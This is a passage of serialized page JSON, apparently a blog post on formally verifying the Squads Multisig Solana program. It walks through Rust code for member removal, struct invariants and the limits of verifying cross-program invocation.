tyle":5047},[29072],{"type":29,"value":853},{"type":23,"tag":504,"props":29074,"children":29075},{"style":5058},[29076],{"type":29,"value":27464},{"type":23,"tag":504,"props":29078,"children":29079},{"class":5016,"line":5705},[29080],{"type":23,"tag":504,"props":29081,"children":29082},{"style":5058},[29083],{"type":29,"value":5965},{"type":23,"tag":32,"props":29085,"children":29086},{},[29087],{"type":29,"value":29088},"Interestingly, the multisig has 0 keys and yet this instruction does not error. Let's take a closer look to figure out why:",{"type":23,"tag":32,"props":29090,"children":29091},{},[29092,29094,29100],{"type":29,"value":29093},"Inside our handler, we see that it only checks if the number of keys exactly equals 1. Otherwise it invokes ",{"type":23,"tag":154,"props":29095,"children":29097},{"className":29096},[],[29098],{"type":29,"value":29099},"Ms::remove_member",{"type":29,"value":6533},{"type":23,"tag":4743,"props":29102,"children":29104},{"code":29103,"language":5008,"meta":7,"className":5009,"style":7},"if ctx.accounts.multisig.keys.len() == 1 {\n    return err!(MsError::CannotRemoveSoloMember);\n}\nctx.accounts.multisig.remove_member(old_member)?;\n",[29105],{"type":23,"tag":154,"props":29106,"children":29107},{"__ignoreMap":7},[29108,29167,29198,29205],{"type":23,"tag":504,"props":29109,"children":29110},{"class":5016,"line":5017},[29111,29115,29119,29123,29127,29131,29135,29139,29143,29147,29151,29155,29159,29163],{"type":23,"tag":504,"props":29112,"children":29113},{"style":5067},[29114],{"type":29,"value":17626},{"type":23,"tag":504,"props":29116,"children":29117},{"style":5041},[29118],{"type":29,"value":27896},{"type":23,"tag":504,"props":29120,"children":29121},{"style":5047},[29122],{"type":29,"value":357},{"type":23,"tag":504,"props":29124,"children":29125},{"style":5058},[29126],{"type":29,"value":16721},{"type":23,"tag":504,"props":29128,"children":29129},{"style":5047},[29130],{"type":29,"value":357},{"type":23,"tag":504,"props":29132,"children":29133},{"style":5058},[29134],{"type":29,"value":25857},{"type":23,"tag":504,"props":29136,"children":29137},{"style":5047},[29138],{"type":29,"value":357},{"type":23,"tag":504,"props":29140,"children":29141},{"style":5058},[29142],{"type":29,"value":23035},{"type":23,"tag":504,"props":29144,"children":29145},{"style":5047},[29146],{"type":29,"value":357},{"type":23,"tag":504,"props":29148,"children":29149},{"style":5139},[29150],{"type":29,"value":11186},{"type":23,"tag":504,"props":29152,"children":29153},{"style":5058},[29154],{"type":29,"value":16089},{"type":23,"tag":504,"props":29156,"children":29157},{"style":5047},[29158],{"type":29,"value":1224},{"type":23,"tag":504,"props":29160,"children":29161},{"style":5083},[29162],{"type":29,"value":6565},{"type":23,"tag":504,"props":29164,"children":29165},{"style":5058},[29166],{"type":29,"value":5333},{"type":23,"tag":504,"props":29168,"children":29169},{"class":5016,"line":4868},[29170,29174,29178,29182,29186,29190,29194],{"type":23,"tag":504,"props":29171,"children":29172},{"style":5067},[29173],{"type":29,"value":19037},{"type":23,"tag":504,"props":29175,"children":29176},{"style":5139},[29177],{"type":29,"value":25560},{"type":23,"tag":504,"props":29179,"children":29180},{"style":5058},[29181],{"type":29,"value":603},{"type":23,"tag":504,"props":29183,"children":29184},{"style":5467},[29185],{"type":29,"value":25569},{"type":23,"tag":504,"props":29187,"children":29188},{"style":5047},[29189],{"type":29,"value":5530},{"type":23,"tag":504,"props":29191,"children":29192},{"style":5467},[29193],{"type":29,"value":27972},{"type":23,"tag":504,"props":29195,"children":29196},{"style":5058},[29197],{"type":29,"value":5888},{"type":23,"tag":504,"props":29199,"children":29200},{"class":5016,"line":4876},[29201],{"type":23,"tag":504,"props":29202,"children":29203},{"style":5058},[29204],{"type":29,"value":5965},{"type":23,"tag":504,"props":29206,"children":29207},{"class":5016,"line":5099},[29208,29212,29216,29220,29224,29228,29232,29236,29240,29244,29248,29252],{"type":23,"tag":504,"props":29209,"children":29210},{"style":5041},[29211],{"type":29,"value":22333},{"type":23,"tag":504,"props":29213,"children":29214},{"style":5047},[29215],{"type":29,"value":357},{"type":23,"tag":504,"props":29217,"children":29218},{"style":5058},[29219],{"type":29,"value":16721},{"type":23,"tag":504,"props":29221,"children":29222},{"style":5047},[29223],{"type":29,"value":357},{"type":23,"tag":504,"props":29225,"children":29226},{"style":5058},[29227],{"type":29,"value":25857},{"type":23,"tag":504,"props":29229,"children":29230},{"style":5047},[29231],{"type":29,"value":357},{"type":23,"tag":504,"props":29233,"children":29234},{"style":5139},[29235],{"type":29,"value":27519},{"type":23,"tag":504,"props":29237,"children":29238},{"style":5058},[29239],{"type":29,"value":603},{"type":23,"tag":504,"props":29241,"children":29242},{"style":5041},[29243],{"type":29,"value":27852},{"type":23,"tag":504,"props":29245,"children":29246},{"style":5058},[29247],{"type":29,"value":933},{"type":23,"tag":504,"props":29249,"children":29250},{"style":5047},[29251],{"type":29,"value":5195},{"type":23,"tag":504,"props":29253,"children":29254},{"style":5058},[29255],{"type":29,"value":5061},{"type":23,"tag":32,"props":29257,"children":29258},{},[29259,29261,29267,29269,29275],{"type":29,"value":29260},"In that function, it checks if the member to remove is contained in that multisig (with ",{"type":23,"tag":154,"props":29262,"children":29264},{"className":29263},[],[29265],{"type":29,"value":29266},"Ms::is_member",{"type":29,"value":29268},") and if it is not, it simply skips the removal and returns ",{"type":23,"tag":154,"props":29270,"children":29272},{"className":29271},[],[29273],{"type":29,"value":29274},"Ok(())",{"type":29,"value":357},{"type":23,"tag":4743,"props":29277,"children":29279},{"code":29278,"language":5008,"meta":7,"className":5009,"style":7},"pub fn remove_member(&mut self, member: Pubkey) -> Result\u003C()> {\n    if let Some(ind) = self.is_member(member) {\n        self.keys.remove(ind);\n        if self.keys.len() \u003C usize::from(self.threshold) {\n            self.threshold = self.keys.len().try_into().unwrap();\n        }\n    }\n    Ok(())\n}\n",[29280],{"type":23,"tag":154,"props":29281,"children":29282},{"__ignoreMap":7},[29283,29347,29406,29443,29502,29570,29577,29584,29595],{"type":23,"tag":504,"props":29284,"children":29285},{"class":5016,"line":5017},[29286,29290,29294,29298,29302,29306,29310,29314,29318,29323,29327,29331,29335,29339,29343],{"type":23,"tag":504,"props":29287,"children":29288},{"style":5030},[29289],{"type":29,"value":15736},{"type":23,"tag":504,"props":29291,"children":29292},{"style":5030},[29293],{"type":29,"value":15741},{"type":23,"tag":504,"props":29295,"children":29296},{"style":5139},[29297],{"type":29,"value":27818},{"type":23,"tag":504,"props":29299,"children":29300},{"style":5058},[29301],{"type":29,"value":603},{"type":23,"tag":504,"props":29303,"children":29304},{"style":5047},[29305],{"type":29,"value":5151},{"type":23,"tag":504,"props":29307,"children":29308},{"style":5030},[29309],{"type":29,"value":5783},{"type":23,"tag":504,"props":29311,"children":29312},{"style":5030},[29313],{"type":29,"value":15843},{"type":23,"tag":504,"props":29315,"children":29316},{"style":5058},[29317],{"type":29,"value":4367},{"type":23,"tag":504,"props":29319,"children":29320},{"style":5041},[29321],{"type":29,"value":29322},"member",{"type":23,"tag":504,"props":29324,"children":29325},{"style":5047},[29326],{"type":29,"value":6533},{"type":23,"tag":504,"props":29328,"children":29329},{"style":5467},[29330],{"type":29,"value":22909},{"type":23,"tag":504,"props":29332,"children":29333},{"style":5058},[29334],{"type":29,"value":5128},{"type":23,"tag":504,"props":29336,"children":29337},{"style":5047},[29338],{"type":29,"value":15803},{"type":23,"tag":504,"props":29340,"children":29341},{"style":5467},[29342],{"type":29,"value":15808},{"type":23,"tag":504,"props":29344,"children":29345},{"style":5058},[29346],{"type":29,"value":22384},{"type":23,"tag":504,"props":29348,"children":29349},{"class":5016,"line":4868},[29350,29354,29359,29364,29368,29373,29377,29381,29385,29389,29394,29398,29402],{"type":23,"tag":504,"props":29351,"children":29352},{"style":5067},[29353],{"type":29,"value":14325},{"type":23,"tag":504,"props":29355,"children":29356},{"style":5030},[29357],{"type":29,"value":29358}," let",{"type":23,"tag":504,"props":29360,"children":29361},{"style":5467},[29362],{"type":29,"value":29363}," Some",{"type":23,"tag":504,"props":29365,"children":29366},{"style":5058},[29367],{"type":29,"value":603},{"type":23,"tag":504,"props":29369,"children":29370},{"style":5041},[29371],{"type":29,"value":29372},"ind",{"type":23,"tag":504,"props":29374,"children":29375},{"style":5058},[29376],{"type":29,"value":5128},{"type":23,"tag":504,"props":29378,"children":29379},{"style":5047},[29380],{"type":29,"value":546},{"type":23,"tag":504,"props":29382,"children":29383},{"style":5030},[29384],{"type":29,"value":15843},{"type":23,"tag":504,"props":29386,"children":29387},{"style":5047},[29388],{"type":29,"value":357},{"type":23,"tag":504,"props":29390,"children":29391},{"style":5139},[29392],{"type":29,"value":29393},"is_member",{"type":23,"tag":504,"props":29395,"children":29396},{"style":5058},[29397],{"type":29,"value":603},{"type":23,"tag":504,"props":29399,"children":29400},{"style":5041},[29401],{"type":29,"value":29322},{"type":23,"tag":504,"props":29403,"children":29404},{"style":5058},[29405],{"type":29,"value":16850},{"type":23,"tag":504,"props":29407,"children":29408},{"class":5016,"line":4876},[29409,29414,29418,29422,29426,29431,29435,29439],{"type":23,"tag":504,"props":29410,"children":29411},{"style":5030},[29412],{"type":29,"value":29413},"        self",{"type":23,"tag":504,"props":29415,"children":29416},{"style":5047},[29417],{"type":29,"value":357},{"type":23,"tag":504,"props":29419,"children":29420},{"style":5058},[29421],{"type":29,"value":23035},{"type":23,"tag":504,"props":29423,"children":29424},{"style":5047},[29425],{"type":29,"value":357},{"type":23,"tag":504,"props":29427,"children":29428},{"style":5139},[29429],{"type":29,"value":29430},"remove",{"type":23,"tag":504,"props":29432,"children":29433},{"style":5058},[29434],{"type":29,"value":603},{"type":23,"tag":504,"props":29436,"children":29437},{"style":5041},[29438],{"type":29,"value":29372},{"type":23,"tag":504,"props":29440,"children":29441},{"style":5058},[29442],{"type":29,"value":5888},{"type":23,"tag":504,"props":29444,"children":29445},{"class":5016,"line":5099},[29446,29450,29454,29458,29462,29466,29470,29474,29478,29482,29486,29490,29494,29498],{"type":23,"tag":504,"props":29447,"children":29448},{"style":5067},[29449],{"type":29,"value":5314},{"type":23,"tag":504,"props":29451,"children":29452},{"style":5030},[29453],{"type":29,"value":15843},{"type":23,"tag":504,"props":29455,"children":29456},{"style":5047},[29457],{"type":29,"value":357},{"type":23,"tag":504,"props":29459,"children":29460},{"style":5058},[29461],{"type":29,"value":23035},{"type":23,"tag":504,"props":29463,"children":29464},{"style":5047},[29465],{"type":29,"value":357},{"type":23,"tag":504,"props":29467,"children":29468},{"style":5139},[29469],{"type":29,"value":11186},{"type":23,"tag":504,"props":29471,"children":29472},{"style":5058},[29473],{"type":29,"value":28097},{"type":23,"tag":504,"props":29475,"children":29476},{"style":5467},[29477],{"type":29,"value":18649},{"type":23,"tag":504,"props":29479,"children":29480},{"style":5047},[29481],{"type":29,"value":5530},{"type":23,"tag":504,"props":29483,"children":29484},{"style":5139},[29485],{"type":29,"value":21525},{"type":23,"tag":504,"props":29487,"children":29488},{"style":5058},[29489],{"type":29,"value":603},{"type":23,"tag":504,"props":29491,"children":29492},{"style":5030},[29493],{"type":29,"value":15759},{"type":23,"tag":504,"props":29495,"children":29496},{"style":5047},[29497],{"type":29,"value":357},{"type":23,"tag":504,"props":29499,"children":29500},{"style":5058},[29501],{"type":29,"value":28142},{"type":23,"tag":504,"props":29503,"children":29504},{"class":5016,"line":5203},[29505,29510,29514,29518,29522,29526,29530,29534,29538,29542,29546,29550,29554,29558,29562,29566],{"type":23,"tag":504,"props":29506,"children":29507},{"style":5030},[29508],{"type":29,"value":29509},"            self",{"type":23,"tag":504,"props":29511,"children":29512},{"style":5047},[29513],{"type":29,"value":357},{"type":23,"tag":504,"props":29515,"children":29516},{"style":5058},[29517],{"type":29,"value":23123},{"type":23,"tag":504,"props":29519,"children":29520},{"style":5047},[29521],{"type":29,"value":546},{"type":23,"tag":504,"props":29523,"children":29524},{"style":5030},[29525],{"type":29,"value":15843},{"type":23,"tag":504,"props":29527,"children":29528},{"style":5047},[29529],{"type":29,"value":357},{"type":23,"tag":504,"props":29531,"children":29532},{"style":5058},[29533],{"type":29,"value":23035},{"type":23,"tag":504,"props":29535,"children":29536},{"style":5047},[29537],{"type":29,"value":357},{"type":23,"tag":504,"props":29539,"children":29540},{"style":5139},[29541],{"type":29,"value":11186},{"type":23,"tag":504,"props":29543,"children":29544},{"style":5058},[29545],{"type":29,"value":15925},{"type":23,"tag":504,"props":29547,"children":29548},{"style":5047},[29549],{"type":29,"value":357},{"type":23,"tag":504,"props":29551,"children":29552},{"style":5139},[29553],{"type":29,"value":28215},{"type":23,"tag":504,"props":29555,"children":29556},{"style":5058},[29557],{"type":29,"value":15925},{"type":23,"tag":504,"props":29559,"children":29560},{"style":5047},[29561],{"type":29,"value":357},{"type":23,"tag":504,"props":29563,"children":29564},{"style":5139},[29565],{"type":29,"value":5720},{"type":23,"tag":504,"props":29567,"children":29568},{"style":5058},[29569],{"type":29,"value":5725},{"type":23,"tag":504,"props":29571,"children":29572},{"class":5016,"line":5308},[29573],{"type":23,"tag":504,"props":29574,"children":29575},{"style":5058},[29576],{"type":29,"value":5394},{"type":23,"tag":504,"props":29578,"children":29579},{"class":5016,"line":5336},[29580],{"type":23,"tag":504,"props":29581,"children":29582},{"style":5058},[29583],{"type":29,"value":5403},{"type":23,"tag":504,"props":29585,"children":29586},{"class":5016,"line":5349},[29587,29591],{"type":23,"tag":504,"props":29588,"children":29589},{"style":5467},[29590],{"type":29,"value":16379},{"type":23,"tag":504,"props":29592,"children":29593},{"style":5058},[29594],{"type":29,"value":16384},{"type":23,"tag":504,"props":29596,"children":29597},{"class":5016,"line":5367},[29598],{"type":23,"tag":504,"props":29599,"children":29600},{"style":5058},[29601],{"type":29,"value":5965},{"type":23,"tag":32,"props":29603,"children":29604},{},[29605,29607,29612,29614,29620,29622,29628,29630,29635],{"type":29,"value":29606},"Inside ",{"type":23,"tag":154,"props":29608,"children":29610},{"className":29609},[],[29611],{"type":29,"value":29266},{"type":29,"value":29613},", we see that it performs a ",{"type":23,"tag":154,"props":29615,"children":29617},{"className":29616},[],[29618],{"type":29,"value":29619},"binary_search",{"type":29,"value":29621}," on the keys vec and returns the index or ",{"type":23,"tag":154,"props":29623,"children":29625},{"className":29624},[],[29626],{"type":29,"value":29627},"None",{"type":29,"value":29629},". Since the vec has size zero, this will just return ",{"type":23,"tag":154,"props":29631,"children":29633},{"className":29632},[],[29634],{"type":29,"value":29627},{"type":29,"value":357},{"type":23,"tag":4743,"props":29637,"children":29639},{"code":29638,"language":5008,"meta":7,"className":5009,"style":7},"pub fn is_member(&self, member: Pubkey) -> Option\u003Cusize> {\n    match self.keys.binary_search(&member) {\n        Ok(ind) => Some(ind),\n        _ => None,\n    }\n}\n",[29640],{"type":23,"tag":154,"props":29641,"children":29642},{"__ignoreMap":7},[29643,29712,29755,29794,29816,29823],{"type":23,"tag":504,"props":29644,"children":29645},{"class":5016,"line":5017},[29646,29650,29654,29659,29663,29667,29671,29675,29679,29683,29687,29691,29695,29700,29704,29708],{"type":23,"tag":504,"props":29647,"children":29648},{"style":5030},[29649],{"type":29,"value":15736},{"type":23,"tag":504,"props":29651,"children":29652},{"style":5030},[29653],{"type":29,"value":15741},{"type":23,"tag":504,"props":29655,"children":29656},{"style":5139},[29657],{"type":29,"value":29658}," is_member",{"type":23,"tag":504,"props":29660,"children":29661},{"style":5058},[29662],{"type":29,"value":603},{"type":23,"tag":504,"props":29664,"children":29665},{"style":5047},[29666],{"type":29,"value":5151},{"type":23,"tag":504,"props":29668,"children":29669},{"style":5030},[29670],{"type":29,"value":15759},{"type":23,"tag":504,"props":29672,"children":29673},{"style":5058},[29674],{"type":29,"value":4367},{"type":23,"tag":504,"props":29676,"children":29677},{"style":5041},[29678],{"type":29,"value":29322},{"type":23,"tag":504,"props":29680,"children":29681},{"style":5047},[29682],{"type":29,"value":6533},{"type":23,"tag":504,"props":29684,"children":29685},{"style":5467},[29686],{"type":29,"value":22909},{"type":23,"tag":504,"props":29688,"children":29689},{"style":5058},[29690],{"type":29,"value":5128},{"type":23,"tag":504,"props":29692,"children":29693},{"style":5047},[29694],{"type":29,"value":15803},{"type":23,"tag":504,"props":29696,"children":29697},{"style":5467},[29698],{"type":29,"value":29699}," Option",{"type":23,"tag":504,"props":29701,"children":29702},{"style":5058},[29703],{"type":29,"value":2658},{"type":23,"tag":504,"props":29705,"children":29706},{"style":5467},[29707],{"type":29,"value":18649},{"type":23,"tag":504,"props":29709,"children":29710},{"style":5058},[29711],{"type":29,"value":9325},{"type":23,"tag":504,"props":29713,"children":29714},{"class":5016,"line":4868},[29715,29719,29723,29727,29731,29735,29739,29743,29747,29751],{"type":23,"tag":504,"props":29716,"children":29717},{"style":5067},[29718],{"type":29,"value":16799},{"type":23,"tag":504,"props":29720,"children":29721},{"style":5030},[29722],{"type":29,"value":15843},{"type":23,"tag":504,"props":29724,"children":29725},{"style":5047},[29726],{"type":29,"value":357},{"type":23,"tag":504,"props":29728,"children":29729},{"style":5058},[29730],{"type":29,"value":23035},{"type":23,"tag":504,"props":29732,"children":29733},{"style":5047},[29734],{"type":29,"value":357},{"type":23,"tag":504,"props":29736,"children":29737},{"style":5139},[29738],{"type":29,"value":29619},{"type":23,"tag":504,"props":29740,"children":29741},{"style":5058},[29742],{"type":29,"value":603},{"type":23,"tag":504,"props":29744,"children":29745},{"style":5047},[29746],{"type":29,"value":5151},{"type":23,"tag":504,"props":29748,"children":29749},{"style":5041},[29750],{"type":29,"value":29322},{"type":23,"tag":504,"props":29752,"children":29753},{"style":5058},[29754],{"type":29,"value":16850},{"type":23,"tag":504,"props":29756,"children":29757},{"class":5016,"line":4876},[29758,29762,29766,29770,29774,29778,29782,29786,29790],{"type":23,"tag":504,"props":29759,"children":29760},{"style":5467},[29761],{"type":29,"value":16858},{"type":23,"tag":504,"props":29763,"children":29764},{"style":5058},[29765],{"type":29,"value":603},{"type":23,"tag":504,"props":29767,"children":29768},{"style":5041},[29769],{"type":29,"value":29372},{"type":23,"tag":504,"props":29771,"children":29772},{"style":5058},[29773],{"type":29,"value":5128},{"type":23,"tag":504,"props":29775,"children":29776},{"style":5047},[29777],{"type":29,"value":16868},{"type":23,"tag":504,"props":29779,"children":29780},{"style":5467},[29781],{"type":29,"value":29363},{"type":23,"tag":504,"props":29783,"children":29784},{"style":5058},[29785],{"type":29,"value":603},{"type":23,"tag":504,"props":29787,"children":29788},{"style":5041},[29789],{"type":29,"value":29372},{"type":23,"tag":504,"props":29791,"children":29792},{"style":5058},[29793],{"type":29,"value":8780},{"type":23,"tag":504,"props":29795,"children":29796},{"class":5016,"line":5099},[29797,29802,29807,29812],{"type":23,"tag":504,"props":29798,"children":29799},{"style":5041},[29800],{"type":29,"value":29801},"        _",{"type":23,"tag":504,"props":29803,"children":29804},{"style":5047},[29805],{"type":29,"value":29806}," =>",{"type":23,"tag":504,"props":29808,"children":29809},{"style":5467},[29810],{"type":29,"value":29811}," None",{"type":23,"tag":504,"props":29813,"children":29814},{"style":5058},[29815],{"type":29,"value":5557},{"type":23,"tag":504,"props":29817,"children":29818},{"class":5016,"line":5203},[29819],{"type":23,"tag":504,"props":29820,"children":29821},{"style":5058},[29822],{"type":29,"value":5403},{"type":23,"tag":504,"props":29824,"children":29825},{"class":5016,"line":5308},[29826],{"type":23,"tag":504,"props":29827,"children":29828},{"style":5058},[29829],{"type":29,"value":5965},{"type":23,"tag":32,"props":29831,"children":29832},{},[29833,29835,29840,29842,29847,29849,29854,29856,29861],{"type":29,"value":29834},"So interestingly, a ",{"type":23,"tag":154,"props":29836,"children":29838},{"className":29837},[],[29839],{"type":29,"value":23035},{"type":29,"value":29841}," vec of size 0 ",{"type":23,"tag":4321,"props":29843,"children":29844},{},[29845],{"type":29,"value":29846},"is actually",{"type":29,"value":29848}," a sufficient condition to execute ",{"type":23,"tag":154,"props":29850,"children":29852},{"className":29851},[],[29853],{"type":29,"value":27519},{"type":29,"value":29855},". However would it ever actually happen? Well we know from before that when we create the multisig, the threshold must be less than or equal to the number of keys and also greater than zero. So in any ",{"type":23,"tag":4321,"props":29857,"children":29858},{},[29859],{"type":29,"value":29860},"valid",{"type":29,"value":29862}," multisig, the number of keys should never be zero.",{"type":23,"tag":32,"props":29864,"children":29865},{},[29866,29868,29873],{"type":29,"value":29867},"We can represent this ",{"type":23,"tag":4321,"props":29869,"children":29870},{},[29871],{"type":29,"value":29872},"validity",{"type":29,"value":29874}," with a struct invariant. In fact the invariant we defined earlier will be sufficient:",{"type":23,"tag":4743,"props":29876,"children":29878},{"code":29877,"language":5008,"meta":7,"className":5009,"style":7},"#[invariant(\n    (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms { ... }\n",[29879],{"type":23,"tag":154,"props":29880,"children":29881},{"__ignoreMap":7},[29882,29889,29912,29963,29970],{"type":23,"tag":504,"props":29883,"children":29884},{"class":5016,"line":5017},[29885],{"type":23,"tag":504,"props":29886,"children":29887},{"style":5058},[29888],{"type":29,"value":22830},{"type":23,"tag":504,"props":29890,"children":29891},{"class":5016,"line":4868},[29892,29896,29900,29904,29908],{"type":23,"tag":504,"props":29893,"children":29894},{"style":5058},[29895],{"type":29,"value":26782},{"type":23,"tag":504,"props":29897,"children":29898},{"style":5047},[29899],{"type":29,"value":357},{"type":23,"tag":504,"props":29901,"children":29902},{"style":5058},[29903],{"type":29,"value":23123},{"type":23,"tag":504,"props":29905,"children":29906},{"style":5047},[29907],{"type":29,"value":1678},{"type":23,"tag":504,"props":29909,"children":29910},{"style":5058},[29911],{"type":29,"value":23132},{"type":23,"tag":504,"props":29913,"children":29914},{"class":5016,"line":4876},[29915,29919,29923,29927,29931,29935,29939,29943,29947,29951,29955,29959],{"type":23,"tag":504,"props":29916,"children":29917},{"style":5047},[29918],{"type":29,"value":17668},{"type":23,"tag":504,"props":29920,"children":29921},{"style":5058},[29922],{"type":29,"value":23056},{"type":23,"tag":504,"props":29924,"children":29925},{"style":5047},[29926],{"type":29,"value":357},{"type":23,"tag":504,"props":29928,"children":29929},{"style":5058},[29930],{"type":29,"value":23123},{"type":23,"tag":504,"props":29932,"children":29933},{"style":5030},[29934],{"type":29,"value":10887},{"type":23,"tag":504,"props":29936,"children":29937},{"style":5467},[29938],{"type":29,"value":15777},{"type":23,"tag":504,"props":29940,"children":29941},{"style":5047},[29942],{"type":29,"value":10242},{"type":23,"tag":504,"props":29944,"children":29945},{"style":5058},[29946],{"type":29,"value":15843},{"type":23,"tag":504,"props":29948,"children":29949},{"style":5047},[29950],{"type":29,"value":357},{"type":23,"tag":504,"props":29952,"children":29953},{"style":5058},[29954],{"type":29,"value":23035},{"type":23,"tag":504,"props":29956,"children":29957},{"style":5047},[29958],{"type":29,"value":357},{"type":23,"tag":504,"props":29960,"children":29961},{"style":5058},[29962],{"type":29,"value":23184},{"type":23,"tag":504,"props":29964,"children":29965},{"class":5016,"line":5099},[29966],{"type":23,"tag":504,"props":29967,"children":29968},{"style":5058},[29969],{"type":29,"value":22311},{"type":23,"tag":504,"props":29971,"children":29972},{"class":5016,"line":5203},[29973,29977,29981,29985,29989,29993],{"type":23,"tag":504,"props":29974,"children":29975},{"style":5030},[29976],{"type":29,"value":15736},{"type":23,"tag":504,"props":29978,"children":29979},{"style":5030},[29980],{"type":29,"value":23203},{"type":23,"tag":504,"props":29982,"children":29983},{"style":5467},[29984],{"type":29,"value":23208},{"type":23,"tag":504,"props":29986,"children":29987},{"style":5058},[29988],{"type":29,"value":11633},{"type":23,"tag":504,"props":29990,"children":29991},{"style":5047},[29992],{"type":29,"value":853},{"type":23,"tag":504,"props":29994,"children":29995},{"style":5058},[29996],{"type":29,"value":11642},{"type":23,"tag":32,"props":29998,"children":29999},{},[30000,30002,30008,30010,30016],{"type":29,"value":30001},"The use of a struct invariant allows us to define (and verify) the possible states that an account can be in at the start and end of an instruction. In this case, our struct invariant rules out the case where ",{"type":23,"tag":154,"props":30003,"children":30005},{"className":30004},[],[30006],{"type":29,"value":30007},"keys.len() == 0",{"type":29,"value":30009}," and allows us to prove the biconditional ",{"type":23,"tag":154,"props":30011,"children":30013},{"className":30012},[],[30014],{"type":29,"value":30015},"(keys.len() >= 1) -> (instruction succeeds)",{"type":29,"value":357},{"type":23,"tag":320,"props":30018,"children":30020},{"id":30019},"safety-guarantees",[30021],{"type":29,"value":24825},{"type":23,"tag":32,"props":30023,"children":30024},{},[30025],{"type":29,"value":30026},"Formal verification is an awesome technique but it is not perfect. There are situations where things are not possible to formally verify and you need to resort to other methods.",{"type":23,"tag":32,"props":30028,"children":30029},{},[30030],{"type":29,"value":30031},"In particular, one of the difficult-to-verify parts of the Squads Multisig program is cross-program-invocation. Specifically, since cross-program-invocation executes foreign code, it is difficult (if not impossible) to verify whether this will succeed or fail.",{"type":23,"tag":32,"props":30033,"children":30034},{},[30035,30037,30043],{"type":29,"value":30036},"In the multisig program this happens in the ",{"type":23,"tag":154,"props":30038,"children":30040},{"className":30039},[],[30041],{"type":29,"value":30042},"execute_transaction",{"type":29,"value":30044}," instruction.",{"type":23,"tag":32,"props":30046,"children":30047},{},[30048],{"type":23,"tag":4321,"props":30049,"children":30050},{},[30051],{"type":29,"value":30052},"So what do you do?",{"type":23,"tag":32,"props":30054,"children":30055},{},[30056],{"type":29,"value":30057},"For example, in a worst-case scenario you could imagine a situation like the following:",{"type":23,"tag":4743,"props":30059,"children":30061},{"code":30060,"language":5008,"meta":7,"className":5009,"style":7},"#[derive(Accounts)]\npub MyCtx {\n    #[account(mut)]\n    pub my_account: Account\u003C'info, Acc>\n}\n\n#[account]\n#[invariant(bad == false)]\nstruct Acc {\n    pub bad: bool\n}\n\nimpl Acc {\n    pub fn put_into_bad_state() {\n        self.bad = true;\n    }\n}\n\n// Instruction handler:\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n    invoke_signed(...); // Cross-program invocation\n\n    let invoke_res = ...; // fetch result of invocation\n    if invoke_res == 5 {\n        ctx.my_account.put_into_bad_state(); // corrupt our account\n    }\n    Ok(())\n}\n",[30062],{"type":23,"tag":154,"props":30063,"children":30064},{"__ignoreMap":7},[30065,30080,30096,30111,30152,30159,30166,30173,30190,30206,30227,30234,30241,30257,30277,30305,30312,30319,30326,30334,30387,30413,30420,30449,30473,30508,30515,30526],{"type":23,"tag":504,"props":30066,"children":30067},{"class":5016,"line":5017},[30068,30072,30076],{"type":23,"tag":504,"props":30069,"children":30070},{"style":5058},[30071],{"type":29,"value":24878},{"type":23,"tag":504,"props":30073,"children":30074},{"style":5467},[30075],{"type":29,"value":24883},{"type":23,"tag":504,"props":30077,"children":30078},{"style":5058},[30079],{"type":29,"value":22311},{"type":23,"tag":504,"props":30081,"children":30082},{"class":5016,"line":4868},[30083,30087,30092],{"type":23,"tag":504,"props":30084,"children":30085},{"style":5030},[30086],{"type":29,"value":15736},{"type":23,"tag":504,"props":30088,"children":30089},{"style":5467},[30090],{"type":29,"value":30091}," MyCtx",{"type":23,"tag":504,"props":30093,"children":30094},{"style":5058},[30095],{"type":29,"value":5333},{"type":23,"tag":504,"props":30097,"children":30098},{"class":5016,"line":4876},[30099,30103,30107],{"type":23,"tag":504,"props":30100,"children":30101},{"style":5058},[30102],{"type":29,"value":25170},{"type":23,"tag":504,"props":30104,"children":30105},{"style":5030},[30106],{"type":29,"value":5783},{"type":23,"tag":504,"props":30108,"children":30109},{"style":5058},[30110],{"type":29,"value":22311},{"type":23,"tag":504,"props":30112,"children":30113},{"class":5016,"line":5099},[30114,30118,30123,30127,30131,30135,30139,30143,30148],{"type":23,"tag":504,"props":30115,"children":30116},{"style":5030},[30117],{"type":29,"value":22895},{"type":23,"tag":504,"props":30119,"children":30120},{"style":5041},[30121],{"type":29,"value":30122}," my_account",{"type":23,"tag":504,"props":30124,"children":30125},{"style":5047},[30126],{"type":29,"value":6533},{"type":23,"tag":504,"props":30128,"children":30129},{"style":5467},[30130],{"type":29,"value":25135},{"type":23,"tag":504,"props":30132,"children":30133},{"style":5058},[30134],{"type":29,"value":24963},{"type":23,"tag":504,"props":30136,"children":30137},{"style":5467},[30138],{"type":29,"value":24968},{"type":23,"tag":504,"props":30140,"children":30141},{"style":5058},[30142],{"type":29,"value":4367},{"type":23,"tag":504,"props":30144,"children":30145},{"style":5467},[30146],{"type":29,"value":30147},"Acc",{"type":23,"tag":504,"props":30149,"children":30150},{"style":5058},[30151],{"type":29,"value":8038},{"type":23,"tag":504,"props":30153,"children":30154},{"class":5016,"line":5203},[30155],{"type":23,"tag":504,"props":30156,"children":30157},{"style":5058},[30158],{"type":29,"value":5965},{"type":23,"tag":504,"props":30160,"children":30161},{"class":5016,"line":5308},[30162],{"type":23,"tag":504,"props":30163,"children":30164},{"emptyLinePlaceholder":15},[30165],{"type":29,"value":5734},{"type":23,"tag":504,"props":30167,"children":30168},{"class":5016,"line":5336},[30169],{"type":23,"tag":504,"props":30170,"children":30171},{"style":5058},[30172],{"type":29,"value":22822},{"type":23,"tag":504,"props":30174,"children":30175},{"class":5016,"line":5349},[30176,30181,30185],{"type":23,"tag":504,"props":30177,"children":30178},{"style":5058},[30179],{"type":29,"value":30180},"#[invariant(bad ",{"type":23,"tag":504,"props":30182,"children":30183},{"style":5047},[30184],{"type":29,"value":1224},{"type":23,"tag":504,"props":30186,"children":30187},{"style":5058},[30188],{"type":29,"value":30189}," false)]\n",{"type":23,"tag":504,"props":30191,"children":30192},{"class":5016,"line":5367},[30193,30197,30202],{"type":23,"tag":504,"props":30194,"children":30195},{"style":5030},[30196],{"type":29,"value":11448},{"type":23,"tag":504,"props":30198,"children":30199},{"style":5467},[30200],{"type":29,"value":30201}," 